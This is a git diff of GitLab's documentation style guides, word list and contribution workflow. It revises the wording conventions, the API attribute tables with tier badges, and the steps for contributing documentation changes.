+info: For assistance with this Style Guide page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-other-projects-and-subjects.
+description: 'Writing styles, markup, formatting, and other standards for the GitLab RESTful APIs.'
---
# RESTful API
@@ -30,6 +27,10 @@ In the Markdown doc for a resource (AKA endpoint):
- Every method must have a detailed [description of the parameters](#method-description).
- Every method must have a cURL example.
- Every method must have a response body (in JSON format).
+- If an attribute is available only to higher level tiers than the other
+ parameters, add the appropriate inline [tier badge](styleguide/index.md#product-tier-badges).
+ Put the badge in the **Attribute** column, like the
+ `**(<tier>)**` code in the following template.
## API topic template
@@ -49,12 +50,12 @@ METHOD /endpoint
Supported attributes:
-| Attribute | Type | Required | Description |
-| :---------- | :------- | :--------------------- | :-------------------- |
-| `attribute` | datatype | **{check-circle}** Yes | Detailed description. |
-| `attribute` | datatype | **{dotted-circle}** No | Detailed description. |
-| `attribute` | datatype | **{dotted-circle}** No | Detailed description. |
-| `attribute` | datatype | **{dotted-circle}** No | Detailed description. |
+| Attribute | Type | Required | Description |
+|:-------------------------|:---------|:-----------------------|:----------------------|
+| `attribute` | datatype | **{check-circle}** Yes | Detailed description. |
+| `attribute` **(<tier>)** | datatype | **{dotted-circle}** No | Detailed description. |
+| `attribute` | datatype | **{dotted-circle}** No | Detailed description. |
+| `attribute` | datatype | **{dotted-circle}** No | Detailed description. |
Example request:
@@ -83,20 +84,20 @@ always be in code blocks using backticks (`` ` ``).
Sort the attributes in the table: first, required, then alphabetically.
```markdown
-| Attribute | Type | Required | Description |
-| :------------- | :------------ | :--------------------- | :--------------------------------------------------- |
-| `user` | string | **{check-circle}** Yes | The GitLab username. |
-| `assignee_ids` | integer array | **{dotted-circle}** No | The IDs of the users to assign the issue to. |
-| `confidential` | boolean | **{dotted-circle}** No | Set an issue to be confidential. Default is `false`. |
+| Attribute | Type | Required | Description |
+|:-----------------------------|:--------------|:-----------------------|:-----------------------------------------------------|
+| `user` | string | **{check-circle}** Yes | The GitLab username. |
+| `assignee_ids` **(PREMIUM)** | integer array | **{dotted-circle}** No | The IDs of the users to assign the issue to. |
+| `confidential` | boolean | **{dotted-circle}** No | Set an issue to be confidential. Default is `false`. |
```
Rendered example:
-| Attribute | Type | Required | Description |
-| :------------- | :------------ | :--------------------- | :--------------------------------------------------- |
-| `user` | string | **{check-circle}** Yes | The GitLab username. |
-| `assignee_ids` | integer array | **{dotted-circle}** No | The IDs of the users to assign the issue to. |
-| `confidential` | boolean | **{dotted-circle}** No | Set an issue to be confidential. Default is `false`. |
+| Attribute | Type | Required | Description |
+|:-----------------------------|:--------------|:-----------------------|:-----------------------------------------------------|
+| `user` | string | **{check-circle}** Yes | The GitLab username. |
+| `assignee_ids` **(PREMIUM)** | integer array | **{dotted-circle}** No | The IDs of the users to assign the issue to. |
+| `confidential` | boolean | **{dotted-circle}** No | Set an issue to be confidential. Default is `false`. |
## cURL commands
@@ -109,7 +110,7 @@ Rendered example:
username and password.
| Methods | Description |
-| :---------------------------------------------- | :----------------------------------------------------- |
+|:------------------------------------------------|:-------------------------------------------------------|
| `--header "PRIVATE-TOKEN: <your_access_token>"` | Use this method as is, whenever authentication needed. |
| `--request POST` | Use this method when creating new objects |
| `--request PUT` | Use this method when updating existing objects |
diff --git a/doc/development/documentation/review_apps.md b/doc/development/documentation/review_apps.md
index a5094ea87f0..4b58778a20c 100644
--- a/doc/development/documentation/review_apps.md
+++ b/doc/development/documentation/review_apps.md
@@ -26,7 +26,7 @@ to render and preview the documentation locally.
If a merge request has documentation changes, use the `review-docs-deploy` manual job
to deploy the documentation review app for your merge request.
-![Manual trigger a documentation review app](img/manual_build_docs_v14_3.png)
+![Manual trigger a documentation review app](img/manual_build_docs_v14_6.png)
The `review-docs-deploy*` job triggers a cross project pipeline and builds the
docs site with your changes. When the pipeline finishes, the review app URL
diff --git a/doc/development/documentation/site_architecture/deployment_process.md b/doc/development/documentation/site_architecture/deployment_process.md
index c038ee96dbf..25bc699c9d4 100644
--- a/doc/development/documentation/site_architecture/deployment_process.md
+++ b/doc/development/documentation/site_architecture/deployment_process.md
@@ -50,8 +50,8 @@ that stable documentation and deploys it to the registry. For example:
- [13.12 merge request pipeline](https://gitlab.com/gitlab-org/gitlab-docs/-/pipelines/395365202).
- [12.10 merge request pipeline](https://gitlab.com/gitlab-org/gitlab-docs/-/pipelines/395365405).
-In particular, the [`image:docs-single` job](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/4c18963fe0a414ad62f55b9e18f922588b2dd155/.gitlab-ci.yml#L655) in each pipeline
-takes what is built, and pushes it to the [container registry](https://gitlab.com/gitlab-org/gitlab-docs/container_registry/631635).
+In particular, the [`image:docs-single` job](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/4c18963fe0a414ad62f55b9e18f922588b2dd155/.gitlab-ci.yml#L655) in each pipeline runs automatically.
+It takes what is built, and pushes it to the [container registry](https://gitlab.com/gitlab-org/gitlab-docs/container_registry/631635).
```mermaid
graph TD
@@ -91,6 +91,7 @@ The [`image:docs-latest` job](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/4
- Pulls the latest documentation from the default branches of the relevant upstream projects.
- Pulls the Docker images previously built by the `image:docs-single` jobs.
+- Must be run manually on a scheduled pipeline.
For example, [a pipeline](https://gitlab.com/gitlab-org/gitlab-docs/-/pipelines/399233948) containing the
[`image:docs-latest` job](https://gitlab.com/gitlab-org/gitlab-docs/-/jobs/1733948330):
@@ -122,7 +123,8 @@ graph TD
for it must be deployed to become available.
The [`pages`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/4c18963fe0a414ad62f55b9e18f922588b2dd155/.gitlab-ci.yml#L491)
-job runs the necessary commands to combine:
+job runs automatically when a pipeline runs on the default branch (`main`).
+It runs the necessary commands to combine:
- A very up-to-date build of the `gitlab-docs` site code.
- The latest docs from the default branches of the upstream projects.
diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md
index fac83af89f4..6ecffce01b4 100644
--- a/doc/development/documentation/structure.md
+++ b/doc/development/documentation/structure.md
@@ -88,7 +88,7 @@ Create an issue when you want to track bugs or future work.
Prerequisites:
-- You must have at least the Developer role for a project.
+- You must have at least the Developer role for the project.
To create an issue:
diff --git a/doc/development/documentation/styleguide/img/callouts.png b/doc/development/documentation/styleguide/img/callouts.png
new file mode 100644
index 00000000000..b84e9e269dc
--- /dev/null
+++ b/doc/development/documentation/styleguide/img/callouts.png
Binary files differ
diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md
index 1382ec263f2..7f2e5a1ba26 100644
--- a/doc/development/documentation/styleguide/index.md
+++ b/doc/development/documentation/styleguide/index.md
@@ -58,8 +58,7 @@ it was originally composed for, if it is helpful to any of our audiences, we can
include it.
- If you use an image that has a separate source file (for example, a vector or
- diagram format), link the image to the source file so that it may be reused or
- updated by anyone.
+ diagram format), link the image to the source file so that anyone can update or reuse it.
- Do not copy and paste content from other sources unless it is a limited
quotation with the source cited. Typically it is better to either rephrase
relevant information in your own words or link out to the other source.
@@ -113,8 +112,9 @@ The more we reflexively add information to the documentation, the more
the documentation helps others efficiently accomplish tasks and solve problems.
If you have questions when considering, authoring, or editing documentation, ask
-the Technical Writing team. They're available on Slack in `#docs` or in GitLab by mentioning the
-writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/categories/#devops-stages).
+the Technical Writing team. They're available on Slack in `#docs` or in GitLab by
+mentioning [the writer for](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)
+the applicable [DevOps stage or group](https://about.gitlab.com/handbook/product/categories/#devops-stages).
Otherwise, forge ahead with your best effort. It does not need to be perfect;
the team is happy to review and improve upon your content. Review the
[Documentation guidelines](index.md) before you begin your first documentation MR.
@@ -787,10 +787,13 @@ This is overridden by the [documentation-specific punctuation rules](#punctuatio
- When possible, avoid including words that might change in the future. Changing
a heading changes its anchor URL, which affects other linked pages.
- When introducing a new document, be careful for the headings to be
- grammatically and syntactically correct. Mention an [assigned technical writer (TW)](https://about.gitlab.com/handbook/product/categories/)
- for review.
+ grammatically and syntactically correct. Mention an [assigned technical writer (TW)](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)
+ for review, based upon the [product category](https://about.gitlab.com/handbook/product/categories/).
This is to ensure that no document with wrong heading is going live without an
audit, thus preventing dead links and redirection issues when corrected.
+- Use the context provided by parent section headings. That is, don't repeat the parent heading's text in each
+ subsection's heading.
+- Use articles and prepositions in headings where it would make sense in regular text.
- Leave exactly one blank line before and after a heading.
- Do not use links in headings.
- Add the corresponding [product badge](#product-tier-badges) according to the tier the
@@ -1053,7 +1056,9 @@ Guidance for each individual UI element is in [the word list](word_list.md).
### How to write navigation task steps
-To be consistent, use this format when you write navigation steps in a task topic.
+To be consistent, use these templates when you write navigation steps in a task topic.
+
+To open project settings:
```markdown
1. On the top bar, select **Menu > Projects** and find your project.
@@ -1061,7 +1066,7 @@ To be consistent, use this format when you write navigation steps in a task topi
1. Expand **General pipelines**.
```
-Another example:
+To open group settings:
```markdown
1. On the top bar, select **Menu > Groups** and find your group.
@@ -1069,7 +1074,7 @@ Another example:
1. Expand **General pipelines**.
```
-An Admin Area example:
+To open the Admin Area:
```markdown
1. On the top bar, select **Menu > Admin**.
@@ -1081,6 +1086,15 @@ To select your avatar:
1. On the top bar, in the top right corner, select your avatar.
```
+To save the selection in some dropdown lists:
+
+```markdown
+1. Go to your issue.
+1. On the right sidebar, in the **Iteration** section, select **Edit**.
+1. From the dropdown list, select the iteration to associate this issue with.
+1. Select any area outside the dropdown list.
+```
+
### Optional steps
If a step is optional, start the step with the word `Optional` followed by a period.
@@ -1150,6 +1164,17 @@ review app in the merge request. Make sure the image isn't blurry or overwhelmin
- **Be consistent.** Coordinate screenshots with the other screenshots already on
a documentation page for a consistent reading experience.
+### Add callouts
+
+If you need to emphasize an area in a screenshot, use an arrow.
+
+- For color, use `#EE2604`. If you use the Preview application on macOS, this is the default red.
+- For the line width, use 3 pt. If you use the Preview application on macOS, this is the third line in the list.
+- Use the arrow style shown in the following image.
+- If you have multiple arrows, make them parallel when possible.
+
+![callout example](img/callouts.png)
+
### Save the image
- Resize any wide or tall screenshots if needed, but make sure the screenshot is
@@ -1575,7 +1600,7 @@ users be aware of recent improvements or additions.
The GitLab Technical Writing team determines which versions of
documentation to display on this site based on the GitLab
-[Statement of Support](https://about.gitlab.com/support/statement-of-support.html#we-support-the-current-major-version-and-the-two-previous-major-versions).
+[Statement of Support](https://about.gitlab.com/support/statement-of-support.html#version-support).
### View older GitLab documentation versions
@@ -1628,6 +1653,13 @@ This feature does something.
This feature does something else.
```
+If you're documenting elements of a feature, start with the feature name or a gerund:
+
+```markdown
+> - Notifications for expiring tokens [introduced](<link-to-issue>) in GitLab 11.3.
+> - Creating an issue from an issue board [introduced](<link-to-issue>) in GitLab 13.1.
+```
+
If a feature is moved to another tier:
```markdown
@@ -1781,7 +1813,9 @@ after the heading text. For example:
# Heading title **(FREE)**
```
-Do not add tier badges inline with other text. The single source of truth for a feature should be the heading where the functionality is described.
+Do not add tier badges inline with other text, except for [API attributes](../restful_api_styleguide.md).
+The single source of truth for a feature should be the heading where the
+functionality is described.
#### Available product tier badges
diff --git a/doc/development/documentation/styleguide/word_list.md b/doc/development/documentation/styleguide/word_list.md
index 595dab09bf5..9c375379685 100644
--- a/doc/development/documentation/styleguide/word_list.md
+++ b/doc/development/documentation/styleguide/word_list.md
@@ -5,9 +5,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
description: 'Writing styles, markup, formatting, and other standards for GitLab Documentation.'
---
-# A-Z word list
+# Recommended word list
-To help ensure consistency in the documentation, follow this guidance.
+To help ensure consistency in the documentation, the Technical Writing team
+recommends these wording choices. The GitLab handbook also maintains a list of
+[top misused terms](https://about.gitlab.com/handbook/communication/top-misused-terms/).
For guidance not on this page, we defer to these style guides:
@@ -20,7 +22,7 @@ For guidance not on this page, we defer to these style guides:
## `@mention`
Try to avoid **`@mention`**. Say **mention** instead, and consider linking to the
-[mentions topic](../../../user/project/issues/issue_data_and_actions.md#mentions).
+[mentions topic](../../../user/discussions/index.md#mentions).
Don't use backticks.
## above
@@ -31,9 +33,14 @@ Try to avoid using **above** when referring to an example or table in a document
Do not use **above** when referring to versions of the product. Use [**later**](#later) instead.
-- Do: In GitLab 14.4 and later...
-- Do not: In GitLab 14.4 and above...
-- Do not: In GitLab 14.4 and higher...
+Use:
+
+- In GitLab 14.4 and later...
+
+Instead of:
+
+- In GitLab 14.4 and above...
+- In GitLab 14.4 and higher...
## access level
@@ -47,16 +54,21 @@ Capitalize these words when you refer to the UI. Otherwise use lowercase.
Use **administrator** instead of **admin** when talking about a user's access level.
Use lowercase unless you are referring to the **Admin** access level you select in the UI.
-To view the administrator access type, in the GitLab UI, go to the Admin Area and select
+To view the administrator access level, in the GitLab UI, go to the Admin Area and select
**Users**. Then select **New user**.
![admin access level](img/admin_access_level.png)
An **administrator** is not a [role](#roles) or [permission](#permissions).
-- Do: To do this thing, you must be an administrator.
-- Do: To do this thing, you must have the administrator access level.
-- Do not: To do this thing, you must have the Admin role.
+Use:
+
+- To do this thing, you must be an administrator.
+- To do this thing, you must have the administrator access level.
+
+Instead of:
+
+- To do this thing, you must have the Admin role.
## Admin Area
@@ -65,10 +77,16 @@ This area of the UI says **Admin Area** at the top of the page and on the menu.
## allow, enable
-Try to avoid **allow** and **enable**, unless you are talking about security-related features. For example:
+Try to avoid **allow** and **enable**, unless you are talking about security-related features.
-- Do: Use this feature to create a pipeline.
-- Do not: This feature allows you to create a pipeline.
+Use:
+
+- You can add a file to your repository.
+
+Instead of:
+
+- This feature allows you to add a file to your repository.
+- This feature enables users to add files to their repository.
This phrasing is more active and is from the user perspective, rather than the person who implemented the feature.
[View details in the Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/a/allow-allows).
@@ -124,8 +142,13 @@ Use **text box** to refer to the UI field. Do not use **field** or **box**. For
Don't use a descriptor with **button**.
-- Do: Select **Run pipelines**.
-- Do not: Select the **Run pipelines** button.
+Use:
+
+- Select **Run pipelines**.
+
+Instead of:
+
+- Select the **Run pipelines** button.
## cannot, can not
@@ -148,6 +171,13 @@ If you must refer to the checkbox, you can say it is selected or cleared. For ex
- Ensure the **Protect environment** checkbox is cleared.
- Ensure the **Protect environment** checkbox is selected.
+## checkout, check out
+
+Use **check out** as a verb. For the Git command, use `checkout`.
+
+- Use `git checkout` to check out a branch locally.
+- Check out the files you want to edit.
+
## CI/CD
CI/CD is always uppercase. No need to spell it out on first use.
@@ -185,8 +215,8 @@ When writing about the Developer role:
- Do not use the phrase, **if you are a developer** to mean someone who is assigned the Developer
role. Instead, write it out. For example, **if you are assigned the Developer role**.
- To describe a situation where the Developer role is the minimum required:
- - Do: at least the Developer role
- - Do not: the Developer role or higher
+ - Use: at least the Developer role
+ - Instead of: the Developer role or higher
Do not use **Developer permissions**. A user who is assigned the Developer role has a set of associated permissions.
@@ -208,8 +238,13 @@ For example:
Use **earlier** when talking about version numbers.
-- Do: In GitLab 14.1 and earlier.
-- Do not: In GitLab 14.1 and lower.
+Use:
+
+- In GitLab 14.1 and earlier.
+
+Instead of:
+
+- In GitLab 14.1 and lower.
## easily
@@ -245,8 +280,13 @@ Use lowercase for **epic board**.
Try to avoid **etc.**. Be as specific as you can. Do not use
[**and so on**](#and-so-on) as a replacement.
-- Do: You can update objects, like merge requests and issues.
-- Do not: You can update objects, like merge requests, issues, etc.
+Use:
+
+- You can update objects, like merge requests and issues.
+
+Instead of:
+
+- You can update objects, like merge requests, issues, etc.
## expand
@@ -256,8 +296,13 @@ Use **expand** instead of **open** when you are talking about expanding or colla
Use **box** instead of **field** or **text box**.
-- Do: In the **Variable name** box, enter `my text`.
-- Do not: In the **Variable name** field, enter `my text`.
+Use:
+
+- In the **Variable name** box, enter `my text`.
+
+Instead of:
+
+- In the **Variable name** field, enter `my text`.
However, you can make an exception when you are writing a task and you need to refer to all
of the fields at once. For example:
@@ -311,8 +356,8 @@ When writing about the Guest role:
- Do not use the phrase, **if you are a guest** to mean someone who is assigned the Guest
role. Instead, write it out. For example, **if you are assigned the Guest role**.
- To describe a situation where the Guest role is the minimum required:
- - Do: at least the Guest role
- - Do not: the Guest role or higher
+ - Use: at least the Guest role
+ - Instead of: the Guest role or higher
Do not use **Guest permissions**. A user who is assigned the Guest role has a set of associated permissions.
@@ -328,16 +373,26 @@ Do not use **high availability** or **HA**. Instead, direct readers to the GitLa
Do not use **higher** when talking about version numbers.
-- Do: In GitLab 14.4 and later...
-- Do not: In GitLab 14.4 and higher...
-- Do not: In GitLab 14.4 and above...
+Use:
+
+- In GitLab 14.4 and later...
+
+Instead of:
+
+- In GitLab 14.4 and higher...
+- In GitLab 14.4 and above...
## hit
Don't use **hit** to mean **press**.
-- Do: Press **ENTER**.
-- Do not: Hit the **ENTER** button.
+Use:
+
+- Press **ENTER**.
+
+Instead of:
+
+- Hit the **ENTER** button.
## I
@@ -369,13 +424,31 @@ Do not use **build** to be synonymous with **job**. A job is defined in the `.gi
If you want to use **CI** with the word **job**, use **CI/CD job** rather than **CI job**.
+## Kubernetes executor
+
+GitLab Runner can run jobs on a Kubernetes cluster. To do this, GitLab Runner uses the Kubernetes executor.
+
+When referring to this feature, use:
+
+- Kubernetes executor for GitLab Runner
+- Kubernetes executor
+
+Do not use:
+
+- GitLab Runner Kubernetes executor, because this can infringe on the Kubernetes trademark.
+
## later
Use **later** when talking about version numbers.
-- Do: In GitLab 14.1 and later...
-- Do not: In GitLab 14.1 and higher...
-- Do not: In GitLab 14.1 and above...
+Use:
+
+- In GitLab 14.1 and later...
+
+Instead of:
+
+- In GitLab 14.1 and higher...
+- In GitLab 14.1 and above...
## list
@@ -390,8 +463,13 @@ Do not use **log in** or **log on**. Use [sign in](#sign-in) instead. If the use
Do not use **lower** when talking about version numbers.
-- Do: In GitLab 14.1 and earlier.
-- Do not: In GitLab 14.1 and lower.
+Use:
+
+- In GitLab 14.1 and earlier.
+
+Instead of:
+
+- In GitLab 14.1 and lower.
## Maintainer
@@ -402,8 +480,8 @@ When writing about the Maintainer role:
- Do not use the phrase, **if you are a maintainer** to mean someone who is assigned the Maintainer
role. Instead, write it out. For example, **if you are assigned the Maintainer role**.
- To describe a situation where the Maintainer role is the minimum required:
- - Do: at least the Maintainer role
- - Do not: the Maintainer role or higher
+ - Use: at least the Maintainer role
+ - Instead of: the Maintainer role or higher
Do not use **Maintainer permissions**. A user who is assigned the Maintainer role has a set of associated permissions.
@@ -446,8 +524,14 @@ Do not use **navigate**. Use **go** instead. For example:
Try to avoid **needs to**, because it's wordy. Avoid **should** when you can be more specific. If something is required, use **must**.
-- Do: You must set the variable. Or: Set the variable.
-- Do not: You need to set the variable.
+Use:
+
+- You must set the variable.
+- Set the variable.
+
+Instead of:
+
+- You need to set the variable.
**Should** is acceptable for recommended actions or items, or in cases where an event may not
happen. For example:
@@ -461,22 +545,63 @@ happen. For example:
Do not use **note that** because it's wordy.
-- Do: You can change the settings.
-- Do not: Note that you can change the settings.
+Use:
+
+- You can change the settings.
+
+Instead of:
+
+- Note that you can change the settings.
## on
When documenting how to select high-level UI elements, use the word **on**.
-- Do: `On the left sidebar...`
+Use:
+
+- `On the left sidebar...`
+
+Instead of:
+
- Do not: `From the left sidebar...` or `In the left sidebar...`
## once
The word **once** means **one time**. Don't use it to mean **after** or **when**.
-- Do: When the process is complete...
-- Do not: Once the process is complete...
+Use:
+
+- When the process is complete...
+
+Instead of:
+
+- Once the process is complete...
+
+## only
+
+Put the word **only** next to the word it modifies.
+
+- You can create only private projects.
+
+In this example, **only** modifies the noun **projects**. The sentence means you can create one type of project--a private project.
+
+- You can only create private projects.
+
+In this example, **only** modifies the verb **create**. This sentence means that you can't perform other actions,
+like deleting private projects, or adding users to them.
+
+## override
+
+Use **override** to indicate temporary replacement.
+
+For example, a value might be overridden when a job runs. The
+original value does not change.
+
+## overwrite
+
+Use **overwrite** to indicate permanent replacement.
+
+For example, a log file might overwrite a log file of the same name.
## Owner
@@ -518,8 +643,8 @@ When writing about the Reporter role:
- Do not use the phrase, **if you are a reporter** to mean someone who is assigned the Reporter
role. Instead, write it out. For example, **if you are assigned the Reporter role**.
- To describe a situation where the Reporter role is the minimum required:
- - Do: at least the Reporter role
- - Do not: the Reporter role or higher
+ - Use: at least the Reporter role
+ - Instead of: the Reporter role or higher
Do not use **Reporter permissions**. A user who is assigned the Reporter role has a set of associated permissions.
@@ -541,8 +666,13 @@ Use lowercase for **runners**. These are the agents that run CI/CD jobs. See als
Do not use **(s)** to make a word optionally plural. It can slow down comprehension. For example:
-- Do: Select the jobs you want.
-- Do not: Select the job(s) you want.
+Use:
+
+- Select the jobs you want.
+
+Instead of:
+
+- Select the job(s) you want.
If you can select multiples of something, then write the word as plural.
@@ -564,7 +694,12 @@ into separate areas, refer to these areas as sections.
We often think of expandable/collapsible areas as **sections**. When you refer to expanding
or collapsing a section, don't include the word **section**.
-- Do: Expand **Auto DevOps**.
+Use:
+
+- Expand **Auto DevOps**.
+
+Instead of:
+
- Do not: Expand the **Auto DevOps** section.
## select
@@ -597,8 +732,13 @@ Do not use **simply** or **simple**. If the user doesn't find the process to be
The word **since** indicates a timeframe. For example, **Since 1984, Bon Jovi has existed**. Don't use **since** to mean **because**.
-- Do: Because you have the Developer role, you can delete the widget.
-- Do not: Since you have the Developer role, you can delete the widget.
+Use:
+
+- Because you have the Developer role, you can delete the widget.
+
+Instead of:
+
+- Since you have the Developer role, you can delete the widget.
## slashes
@@ -616,8 +756,13 @@ Use **subgroup** (no hyphen) instead of **sub-group**. ([Vale](../testing.md#val
Do not use **that** when describing a noun. For example:
-- Do: The file you save...
-- Do not: The file **that** you save...
+Use:
+
+- The file you save...
+
+Instead of:
+
+- The file **that** you save...
See also [this, these, that, those](#this-these-that-those).
@@ -636,8 +781,13 @@ Use **text box** instead of **field** or **box** when referring to the UI elemen
Try to avoid **there is** and **there are**. These phrases hide the subject.
-- Do: The bucket has holes.
-- Do not: There are holes in the bucket.
+Use:
+
+- The bucket has holes.
+
+Instead of:
+
+- There are holes in the bucket.
## they
@@ -649,17 +799,17 @@ a gender-neutral pronoun.
Always follow these words with a noun. For example:
-- Do: **This setting** improves performance.
-- Do not: **This** improves performance.
+- Use: **This setting** improves performance.
+- Instead of: **This** improves performance.
-- Do: **These pants** are the best.
-- Do not: **These** are the best.
+- Use: **These pants** are the best.
+- Instead of: **These** are the best.
-- Do: **That droid** is the one you are looking for.
-- Do not: **That** is the one you are looking for.
+- Use: **That droid** is the one you are looking for.
+- Instead of: **That** is the one you are looking for.
-- Do: **Those settings** need to be configured. (Or even better, **Configure those settings.**)
-- Do not: **Those** need to be configured.
+- Use: **Those settings** need to be configured. (Or even better, **Configure those settings.**)
+- Instead of: **Those** need to be configured.
## to-do item
@@ -683,6 +833,19 @@ Do not use **type** if you can avoid it. Use **enter** instead.
Do not use **useful**. If the user doesn't find the process to be useful, we lose their trust. ([Vale](../testing.md#vale) rule: [`Simplicity.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Simplicity.yml))
+## user, users
+
+When possible, address the reader directly, instead of calling them **users**.
+Use the [second person](#you-your-yours), **you**, instead.
+
+Use:
+
+- You can configure a pipeline.
+
+Instead of:
+
+- Users can configure a pipeline.
+
## utilize
Do not use **utilize**. Use **use** instead. It's more succinct and easier for non-native English speakers to understand.
@@ -700,8 +863,13 @@ Do not use Latin abbreviations. Use **with**, **through**, or **by using** inste
Try to avoid **we** and focus instead on how the user can accomplish something in GitLab.
-- Do: Use widgets when you have work you want to organize.
-- Do not: We created a feature for you to add widgets.
+Use:
+
+- Use widgets when you have work you want to organize.
+
+Instead of:
+
+- We created a feature for you to add widgets.
One exception: You can use **we recommend** instead of **it is recommended** or **GitLab recommends**. ([Vale](../testing.md#vale) rule: [`SubstitutionSuggestions.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/SubstitutionSuggestions.yml))
@@ -709,5 +877,18 @@ One exception: You can use **we recommend** instead of **it is recommended** or
Do not use **whitelist**. Another option is **allowlist**. ([Vale](../testing.md#vale) rule: [`InclusionCultural.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/InclusionCultural.yml))
+## you, your, yours
+
+Use **you**, **your**, and **yours** instead of [**the user** and **the user's**](#user-users).
+Documentation should be from the [point of view](https://design.gitlab.com/content/voice-tone#point-of-view) of the reader.
+
+Use:
+
+- You can configure a pipeline.
+
+Instead of:
+
+- Users can configure a pipeline.
+
<!-- vale on -->
<!-- markdownlint-enable -->
diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md
index 782cd3411b1..49ad51874e3 100644
--- a/doc/development/documentation/workflow.md
+++ b/doc/development/documentation/workflow.md
@@ -4,66 +4,44 @@ group: unassigned
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Documentation process
+# How to update GitLab documentation
-The process for creating and maintaining GitLab product documentation allows
-anyone to contribute a merge request or create an issue for GitLab
-documentation.
-
-Documentation updates relating to new features or feature enhancements must
-use the [feature workflow process](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#for-a-product-change) described in the GitLab Handbook.
-
-## Who updates the docs?
-
-*Anyone* can contribute! You can create a merge request for documentation when:
+Anyone can contribute to the GitLab documentation! You can create a merge request for documentation when:
- You find errors or other room for improvement in existing documentation.
- You have an idea for all-new documentation that would help a GitLab user or administrator to
accomplish their work with GitLab.
-## Documentation labels
-
-Regardless of the type of issue or merge request, certain labels are required when documentation
-is added or updated. The following are added by the issue or merge request author:
-
-- An appropriate [type label](../contributing/issue_workflow.md#type-labels).
-- The [stage label](../contributing/issue_workflow.md#stage-labels) and
- [group label](../contributing/issue_workflow.md#group-labels). For example, `~devops::create` and
- `~group::source code`.
-- The `~documentation` [specialization label](../contributing/issue_workflow.md#specialization-labels).
-
-The following are also added by members of the Technical Writing team:
-
-- A documentation [scoped label](../../user/project/labels.md#scoped-labels) with the
- `docs::` prefix. For example, `~docs::improvement`.
-- The `~Technical Writing` [team label](../contributing/issue_workflow.md#team-labels).
-
-Documentation changes that are not associated with the release of a new or updated feature
-do not take the `~"type::feature"` label, but still need the `~documentation` label.
-
-They may include:
-
-- Documentation created or updated to improve accuracy, completeness, ease of use, or any reason
- other than a [feature change](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#for-a-product-change).
-- Addressing gaps in existing documentation, or making improvements to existing documentation.
-- Work on special projects related to the documentation.
+If you are working on a feature or enhancement, use the
+[feature workflow process described in the GitLab Handbook](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#for-a-product-change).
## How to update the docs
-To update GitLab documentation:
-
-1. Either:
- - Click the **Edit this Page** link at the bottom of any page on <https://docs.gitlab.com>.
- - Navigate to one of the repositories and documentation paths listed on the
- [GitLab Documentation guidelines](index.md) page.
-1. Follow the described standards and processes listed on the page, including:
- - The [Structure and template](structure.md) page.
- - The [Style Guide](styleguide/index.md).
- - The [Markdown Guide](https://about.gitlab.com/handbook/markdown-guide/).
-1. Follow the [Merge Request Guidelines](../contributing/merge_request_workflow.md#merge-request-guidelines).
-
-NOTE:
-Work in a fork if you do not have the Developer role in the GitLab project.
+If you are not a GitLab team member, or do not have the Developer role for the GitLab repository, to update GitLab documentation:
+
+1. Select an issue you'd like to work on.
+ - You don't need an issue to open a merge request.
+ - For a Hackathon, in the issue, in a comment, mention the person who opened the issue and ask for the issue to be assigned to you.
+ To be fair to other contributors, if you see someone has already asked to work on the issue, choose another issue.
+ If you are looking for issues to work on and don't see any that suit you, you can always fix [Vale](testing.md#vale) issues.
+1. Go to the [GitLab repository](https://gitlab.com/gitlab-org/gitlab).
+1. In the top-right, select **Fork**. Forking makes a copy of the repository on GitLab.com.
+1. In your fork, find the documentation page by going to the `\doc` directory.
+1. If you know Git, make your changes and open a merge request.
+ If not, follow these steps:
+ 1. In the top right, select **Edit**, make the changes, and **Save**.
+ 1. From the left menu, select **Merge requests**.
+ 1. For the source branch, select your fork and branch. If you did not create a branch, select `master`.
+ For the target branch, select the [GitLab repository](https://gitlab.com/gitlab-org/gitlab) `master` branch.
+ 1. For the commit message, use 3-5 words, start with a capital letter, and do not end with a period.
+ 1. Select **Commit changes**. A merge request opens.
+ 1. Select the **Documentation** template. In the description, write a brief summary of the changes and link to the related issue, if there is one.
+
+If you need help while working on the page, view:
+
+- The [Style Guide](styleguide/index.md).
+- The [Word list](styleguide/word_list.md)
+- The [Markdown Guide](https://about.gitlab.com/handbook/markdown-guide/).
### Ask for help
@@ -83,6 +61,22 @@ To identify someone who can help you:
If you are a member of the GitLab Slack workspace, you can request help in `#docs`.
+## Documentation labels
+
+When you author an issue or merge request, you must add these labels:
+
+- A [type label](../contributing/issue_workflow.md#type-labels).
+- A [stage label](../contributing/issue_workflow.md#stage-labels) and [group label](../contributing/issue_workflow.md#group-labels).
+ For example, `~devops::create` and `~group::source code`.
+- A `~documentation` [specialization label](../contributing/issue_workflow.md#specialization-labels).
+
+A member of the Technical Writing team adds these labels:
+
+- A [documentation scoped label](../../user/project/labels.md#scoped-labels) with the
+ `docs::` prefix. For example, `~docs::improvement`.
+- The [`~Technical Writing` team label](../contributing/issue_workflow.md#team-labels).
+- A type label: either `~"type::feature"` or `~"type::maintenance"`.
+
### Reviewing and merging
Anyone with the [Maintainer role](../../user/permissions.md) to the relevant GitLab project can
@@ -130,9 +124,9 @@ immediately after merge by the developer or maintainer. For this,
